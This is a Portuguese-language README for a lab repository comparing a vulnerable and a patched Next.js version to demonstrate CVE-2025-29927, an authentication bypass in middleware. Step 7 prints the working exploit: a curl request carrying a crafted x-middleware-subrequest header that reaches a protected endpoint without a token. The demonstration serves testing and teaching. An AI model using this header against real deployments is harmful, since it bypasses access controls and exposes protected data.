Vulnerabilidade de middleware Next.js CVE-2025-29927

Este repositório é um projeto monorepo que permite comparar a vulnerabilidade de middleware CVE-2025-29927 usando as versões Next.js 15.2.3 e Next.js 15.1.7.

Descrição da vulnerabilidade

A CVE-2025-29927 é uma vulnerabilidade de segurança encontrada no middleware do Next.js que permite contornar o middleware de autenticação usando o cabeçalho x-middleware-subrequest. Esta vulnerabilidade afeta as seguintes versões:

• Next.js 15.x < 15.2.3
• Next.js 14.x < 14.2.25
• Next.js 13.x < 13.5.9 Essas versões foram corrigidas ao serem atualizadas para as respectivas versões de patch.

Como executar

1. Clone o repositório.
2. Instale as dependências: pnpm install
3. Execute o servidor de desenvolvimento: pnpm dev
4. Acesse cada aplicativo:

• Versão corrigida (15.2.3): http://localhost:3000
• Versão vulnerável (15.1.7): http://localhost:3001

5. Acessar o endpoint /api/protected sem um token resulta em acesso negado.

$ curl http://localhost:3000/api/protected
// {"error":"Unauthorized"}

$ curl http://localhost:3001/api/protected
// {"error":"Unauthorized"}

6. Fornecer um token válido permite acessar o endpoint protegido com sucesso.

$ curl -H "Authorization: my-jwt-token-here" http://localhost:3000/api/protected
// {"message":"Hello World"}

$ curl -H "Authorization: my-jwt-token-here" http://localhost:3001/api/protected
// {"message":"Hello World"}

7. Contorne o middleware explorando a vulnerabilidade.

curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/api/protected
// {"error":"Unauthorized"}

curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3001/api/protected
// {"message":"Hello World"}

Estrutura do projeto

nextjs-cve-2025-29927/
├── apps/
│   ├── next15_1_7/  # versão vulnerável
│   └── next15_2_3/  # versão corrigida
├── packages/
│   └── ui/          # componentes de UI compartilhados
└── README.md

Links de referência

• Blog da Vercel
• YouTube do DevStefanCho
• https://hackyboiz.github.io/2025/03/27/bekim/2025-03-27/
• https://zhero-web-sec.github.io/research-and-things/nextjs-and-the-corrupt-middleware
• https://github.com/vercel/next.js/security/advisories/GHSA-f82v-jwr5-mffw
• https://github.com/lirantal/vulnerable-nextjs-14-CVE-2025-29927